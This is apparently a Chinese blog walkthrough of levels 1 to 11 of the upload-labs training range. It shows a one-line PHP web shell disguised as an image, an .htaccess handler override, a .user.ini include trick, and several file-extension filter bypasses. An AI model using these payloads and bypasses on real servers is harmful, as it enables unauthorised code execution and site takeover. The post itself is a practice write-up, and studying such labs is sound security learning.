🏘️个人主页: 点燃银河尽头的篝火(●’◡’●)
如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦
【靶场】upload-labs-master(前11关)
第一关 Pass-01
- 创建一个一句话木马,将其改为图片文件
一句话木马示例:
<?php @eval($_POST['hacker']); ?>
在靶场中上传图片文件并抓包
将抓包到的文件后缀名改为
.php
返回靶场在新标签页中打开图片
新标签页无任何显示即为成功解析
第二关 Pass-02
查看源码发现后端PHP代码只对type进行了检查
上传图片文件后抓包,将上传的PHP的content-type为image/png
第三关 Pass-03
查看源码,发现禁止上传.php,那我们就上传
.php3
/.php5
上传图片文件并抓包
更改文件后缀名为
.php3
/.php5
(我这里用了.php5)
第四关 Pass-04
查看源码,发现.htaccess文件没有被禁
试试上传.htaccess文件
先新建一个.htaccess文件,里面写上代码
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
这串代码的意思是如果文件中有一个1.jpg的文件,他就会被解析为.php,把这个文件上传上去。
上传.hatccess文件后继续上传1.jpg
- 在新标签页打开图片
第五关 Pass-05
- 查看源码
源码里把所有可以解析的后缀名都给写死了,包括大小写,转换,空格,还有点号,正常的php类文件上传不了了,并且拒绝上传 .htaccess 文件。
反复观察发现没有被限制的后缀名有.php7
以及.ini
我们可以用.ini绕过 - 创建一个.user.ini文件并上传
.user.ini文件里的意思是:所有的php文件都自动包含1.jpg文件。.user.ini相当于一个用户自定义的php.ini
- 继续上传1.jpg
第六关 Pass-06
查看源码,发现没有过滤大小写
用大小写绕过
把.php
格式改为.Php
后上传即可
第七关 Pass-07
查看源码,发现没有首位去空
用空格绕过
抓包,修改上传文件后缀名为.php⚪
(注意这里有个空格)
第八关 Pass-08
查看源码,发现没有过滤文件名末尾的点
可以使用文件名后加
.
进行绕过
第九关 Pass-09
查看源码,发现没有去除字符串
::$DATA
上传图片文件,抓包改后缀为
.php::$DATA
第十关 Pass-10
查看源码,发现不能用特殊格式绕过
将文件后缀名改为
php. .
第十一关 Pass-11
查看提示
可以用双写绕过